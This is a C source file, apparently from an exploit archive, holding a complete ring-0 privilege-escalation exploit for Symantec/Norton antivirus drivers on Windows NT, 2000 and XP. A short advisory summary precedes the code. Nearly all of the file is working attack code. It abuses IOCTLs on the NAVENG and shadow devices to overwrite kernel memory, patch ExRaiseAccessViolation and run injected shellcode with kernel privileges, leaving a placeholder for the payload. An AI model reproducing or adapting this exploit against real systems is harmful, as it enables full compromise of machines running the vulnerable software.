304 lines
No EOL
7.8 KiB
C
304 lines
No EOL
7.8 KiB
C
// source: https://www.securityfocus.com/bid/20360/info
|
||
|
||
// Symantec AntiVirus is prone to a privilege-escalation vulnerability.
|
||
|
||
// Local attackers can exploit this issue to corrupt memory and execute arbitrary code with kernel-level privileges. Successful exploits may facilitate a complete system compromise.
|
||
|
||
// This issue affects only Symantec and Norton antivirus products running on Microsoft Windows NT, Windows 2000, and Windows XP.
|
||
|
||
/////////////////////////////////////////////
|
||
///// Norton Internet Security /////
|
||
/////////////////////////////////////////////
|
||
//// For educational purposes ONLY
|
||
/////////////////////////////////////////////
|
||
//// Ring0 xploit
|
||
//// Rub<75>n Santamarta
|
||
//// www.reversemode.com
|
||
//// 26/08/2006
|
||
////////////////////////////////////
|
||
|
||
|
||
|
||
#include <windows.h>
|
||
#include <stdio.h>
|
||
|
||
|
||
|
||
#define WXP_USERPROBE 0x87E34
|
||
#define W2K_USERPROBE 0x81B1C
|
||
|
||
#define WXP_EXCEPTION 0x16F120
|
||
#define W2K_EXCEPTION 0x944b6
|
||
|
||
typedef BOOL (WINAPI *PENUMDEVICES)(LPVOID*,
|
||
DWORD ,
|
||
LPDWORD);
|
||
|
||
typedef DWORD (WINAPI *PGETDEVNAME)(LPVOID ImageBase,
|
||
LPTSTR lpBaseName,
|
||
DWORD nSize);
|
||
|
||
|
||
DWORD CalcJump(DWORD BaseNt,BOOL InXP,DWORD *hValue,DWORD *ShellAddr)
|
||
{
|
||
|
||
DWORD SumTemp,IniAddress,i,sumAux,addTemp,OffWord;
|
||
|
||
if(InXP)
|
||
{
|
||
SumTemp=BaseNt+WXP_EXCEPTION+0xE;
|
||
OffWord=0x64B8;
|
||
}
|
||
else
|
||
{
|
||
SumTemp=BaseNt+W2K_EXCEPTION+0xE;
|
||
OffWord=0x5358;
|
||
}
|
||
|
||
|
||
for(i=0x4c;i<0xDDDC;i=i+4)
|
||
{
|
||
sumAux=~((i*0x10000)+OffWord);
|
||
addTemp=SumTemp-sumAux;
|
||
if(addTemp>0xE000000 && addTemp<0xF000000){
|
||
IniAddress=addTemp&0xFFFFF000;
|
||
*hValue=i-4;
|
||
*ShellAddr=addTemp;
|
||
break;
|
||
}
|
||
}
|
||
printf("\nINFORMATION \n");
|
||
printf("-----------------------------------------------------\n");
|
||
printf("Patched ExRaiseAccessViolation pointing to \t [0x%p]\n",addTemp-1);
|
||
printf("0xF000h bytes allocated at \t\t [0x%p]\n",IniAddress);
|
||
printf("Magic Value\t\t\t [0x%p]\n\n",i-4);
|
||
|
||
return (IniAddress);
|
||
}
|
||
|
||
VOID ShowError()
|
||
{
|
||
LPVOID lpMsgBuf;
|
||
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER| FORMAT_MESSAGE_FROM_SYSTEM,
|
||
NULL,
|
||
GetLastError(),
|
||
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
|
||
(LPTSTR) &lpMsgBuf,
|
||
0,
|
||
NULL);
|
||
MessageBoxA(0,(LPTSTR)lpMsgBuf,"Error",0);
|
||
exit(1);
|
||
}
|
||
|
||
int main(int argc, char *argv[])
|
||
{
|
||
|
||
DWORD *OutBuff,*InBuff,Ring0Addr,mmUserProbe;
|
||
DWORD dwIOCTL,OutSize,InSize,junk,cb,devNum,i,ShellAddr,hValue;
|
||
HANDLE hDevice;
|
||
PENUMDEVICES pEnumDeviceDrivers;
|
||
PGETDEVNAME pGetDeviceDriverBaseName;
|
||
LPVOID arrMods[200],addEx;
|
||
DWORD BaseNt=0,BaseAuxNt;
|
||
BOOL InXP;
|
||
CHAR baseName[MAX_PATH];
|
||
unsigned char Ring0ShellCode[]="\xcc"; //"PUT YOUR RING0 CODE HERE "
|
||
|
||
system("cls");
|
||
|
||
printf("\n################################\n");
|
||
printf("## Norton I.S ##\n");
|
||
printf("## Ring0 Exploit ##\n");
|
||
printf("################################\n");
|
||
printf("\nRuben Santamarta\nwww.reversemode.com\n\n");
|
||
|
||
if(argc<2)
|
||
{
|
||
|
||
|
||
printf("\nusage> exploit.exe <XP> or <2K>\n");
|
||
exit(1);
|
||
}
|
||
|
||
|
||
pEnumDeviceDrivers=(PENUMDEVICES)GetProcAddress(LoadLibrary("psapi.dll"),
|
||
"EnumDeviceDrivers");
|
||
|
||
pGetDeviceDriverBaseName=(PGETDEVNAME)GetProcAddress(LoadLibrary("psapi.dll"),
|
||
"GetDeviceDriverBaseNameA");
|
||
|
||
pEnumDeviceDrivers(arrMods,sizeof(arrMods),&cb);
|
||
devNum=cb/sizeof(LPVOID);
|
||
printf("\n[!] Searching Ntoskrnl.exe Base Address...");
|
||
|
||
for(i=0;i<=devNum;i++)
|
||
{
|
||
pGetDeviceDriverBaseName(arrMods[i],baseName,MAX_PATH);
|
||
if((strncmp(baseName,"ntoskr",6)==0))
|
||
{
|
||
printf("[%x] Found!\n",arrMods[i]);
|
||
BaseNt = (DWORD)arrMods[i];
|
||
BaseAuxNt=BaseNt;
|
||
}
|
||
}
|
||
|
||
if (!BaseNt)
|
||
{
|
||
printf("!!? ntoskrnl.exe base address not found\nexiting\n\n");
|
||
exit(0);
|
||
}
|
||
|
||
if(strncmp(argv[1],"XP",2)==0) InXP = TRUE;
|
||
else InXP = FALSE;
|
||
|
||
|
||
|
||
//////////////////////////////////////
|
||
////// STAGE 1
|
||
//////////////////////////////////////
|
||
|
||
if(InXP) BaseNt += WXP_USERPROBE;
|
||
else BaseNt += W2K_USERPROBE;
|
||
|
||
|
||
//////////////////////
|
||
///// CASE 'DosDevice'
|
||
//////////////////////
|
||
|
||
hDevice = CreateFile("\\\\.\\NAVENG",
|
||
0,
|
||
0,
|
||
NULL,
|
||
3,
|
||
0,
|
||
0);
|
||
|
||
if (hDevice == INVALID_HANDLE_VALUE) ShowError();
|
||
printf("\n\n** Initializing Exploit\t[Stage 1]\n\n");
|
||
printf("\nINFORMATION \n");
|
||
printf("-----------------------------------------------------\n");
|
||
printf("[!] NAVENG Device Handle [%x]\n",hDevice);
|
||
|
||
//////////////////////
|
||
///// BUFFERS
|
||
//////////////////////
|
||
OutSize = 4;
|
||
OutBuff = malloc(sizeof(DWORD));
|
||
|
||
//////////////////////
|
||
///// IOCTL
|
||
//////////////////////
|
||
|
||
dwIOCTL = 0x222ADB;
|
||
|
||
DeviceIoControl(hDevice,
|
||
dwIOCTL,
|
||
(LPVOID)0,0,
|
||
(LPVOID)OutBuff,OutSize,
|
||
&junk,
|
||
NULL);
|
||
|
||
printf("[!] mmUserProbeAddress current value:\t[0x7FFF0000]\n");
|
||
printf("[!] Overwriting mmUserProbeAddress at:\t[0x%x] \n",BaseNt);
|
||
printf("[!] mmUserProbeAddress current value:\t[0x%x]\n",OutBuff[0]);
|
||
printf("[*] ProbeForWrite now checking for values greater than 0x%x\n\n",OutBuff[0]);
|
||
|
||
DeviceIoControl(hDevice,
|
||
dwIOCTL,
|
||
(LPVOID)0,0,
|
||
(LPVOID)BaseNt,OutSize,
|
||
&junk,
|
||
NULL);
|
||
mmUserProbe=OutBuff[0];
|
||
free((LPVOID)OutBuff);
|
||
CloseHandle(hDevice);
|
||
|
||
|
||
//////////////////////
|
||
///// STAGE 2
|
||
//////////////////////
|
||
|
||
BaseNt = BaseAuxNt;
|
||
/////////////////////////
|
||
printf("\n\n** Initializing Exploit\t[Stage 2]\n\n");
|
||
|
||
addEx=(LPVOID)CalcJump(BaseNt,InXP,&hValue,&ShellAddr);
|
||
OutBuff=(DWORD*)VirtualAlloc((LPVOID)addEx,0xF000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
|
||
|
||
if(!OutBuff) ShowError();
|
||
|
||
|
||
InBuff=OutBuff;
|
||
|
||
printf("[!] Checking Shadow Device...");
|
||
hDevice = CreateFile("\\\\.\\shadow",
|
||
GENERIC_READ|GENERIC_WRITE,
|
||
0,
|
||
0,
|
||
OPEN_EXISTING,
|
||
0,
|
||
NULL);
|
||
|
||
if (hDevice == INVALID_HANDLE_VALUE) ShowError();
|
||
printf("[OK]\n");
|
||
|
||
printf("[!] Exploiting Shadow Device...\n");
|
||
|
||
while(OutBuff[3]< hValue)
|
||
{
|
||
DeviceIoControl(hDevice, // "\\.\shadow"
|
||
0x141043, // Privileged IOCTL
|
||
InBuff, 2, // InBuffer, InBufferSize
|
||
OutBuff, 0x18,// OutBuffer,OutBufferSize
|
||
&junk, // bytes returned
|
||
(LPOVERLAPPED) NULL);
|
||
|
||
printf("\r\t[->]VALUES: (%x)",OutBuff[3]);
|
||
}
|
||
|
||
if(InXP) Ring0Addr = BaseNt + WXP_EXCEPTION;
|
||
else Ring0Addr = BaseNt + W2K_EXCEPTION;
|
||
|
||
printf("\n[!] Overwriting ExRaiseAccessViolation at [0x%x]...",Ring0Addr+0xC);
|
||
DeviceIoControl(hDevice, // "\\.\shadow"
|
||
0x141043, // Privileged IOCTL
|
||
InBuff, 2, // InBuffer, InBufferSize
|
||
(LPVOID)Ring0Addr, 0x18,// OutBuffer,OutBufferSize 0x
|
||
&junk, // bytes returned
|
||
(LPOVERLAPPED) NULL);
|
||
|
||
|
||
printf("[OK]");
|
||
printf("\n\n\t\t[!] Initializing Countdown,last chance to abort.");
|
||
|
||
for(i=1;i<0x3C00;i++) OutBuff[i]=0x90909090; // paged out
|
||
memcpy((LPVOID)ShellAddr,(LPVOID)Ring0ShellCode,sizeof(Ring0ShellCode));
|
||
|
||
for(i=10;i>=1;i--)
|
||
{
|
||
printf("\r -[ %d ]- ",i);
|
||
if(i==1) printf("\n\n[*] Executing ShellCode");
|
||
Sleep(1000);
|
||
}
|
||
|
||
DeviceIoControl(hDevice,
|
||
0x141043,
|
||
InBuff, 2,
|
||
(LPVOID)mmUserProbe+0x1000, 0x18,
|
||
&junk,
|
||
(LPOVERLAPPED) NULL);
|
||
|
||
|
||
CloseHandle(hDevice);
|
||
|
||
printf("\n\n[*] Exploit terminated\n\n");
|
||
|
||
|
||
/////////////////////
|
||
///// CLeanUp
|
||
/////////////////////
|
||
|
||
free(OutBuff);
|
||
|
||
return 0;
|
||
} |